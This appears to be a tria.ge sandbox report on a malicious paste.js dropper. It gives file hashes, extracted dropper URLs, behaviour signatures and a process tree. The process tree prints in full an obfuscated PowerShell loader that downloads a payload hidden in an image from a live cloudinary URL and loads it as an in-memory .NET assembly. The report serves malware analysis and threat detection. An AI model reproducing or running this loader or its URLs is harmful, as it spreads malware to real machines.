Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    30/01/2025, 01:57

General

  • Target

    paste.js

  • Size

    3KB

  • MD5

    affbcba0899f7fb6af87418706eabb0c

  • SHA1

    46e4e6b23c523a45a65dbd916f98f5476a4cd09a

  • SHA256

    6c15201ff41059d46bce1d287fd60ca954e9a1ae76e22dc475f953e4328acde8

  • SHA512

    68acae9c905e545f6d1fcec0255a4d13b9f0c8ddafb597b0ea2a686a6349d089a6736e6355cad19086ca66ad4c12e5ab732dc20990230636e3b5dbab374bc6f0

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\paste.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2180
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$originalText = '#x#.621/elif/#en.salij//:sp##h';$restoredText = $originalText -replace '#', 't';$imageUrl = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = [ClassLibrary1.Home].GetMethod('main').Invoke($null, [object[]] @($restoredText,'false','MSBuild','false'))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3064

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabC007.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarC029.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/3064-4-0x000007FEF5E2E000-0x000007FEF5E2F000-memory.dmp

    Filesize

    4KB

  • memory/3064-8-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

    Filesize

    9.6MB

  • memory/3064-7-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

    Filesize

    9.6MB

  • memory/3064-6-0x0000000002670000-0x0000000002678000-memory.dmp

    Filesize

    32KB

  • memory/3064-5-0x000000001B650000-0x000000001B932000-memory.dmp

    Filesize

    2.9MB

  • memory/3064-9-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

    Filesize

    9.6MB

  • memory/3064-10-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

    Filesize

    9.6MB

  • memory/3064-45-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

    Filesize

    9.6MB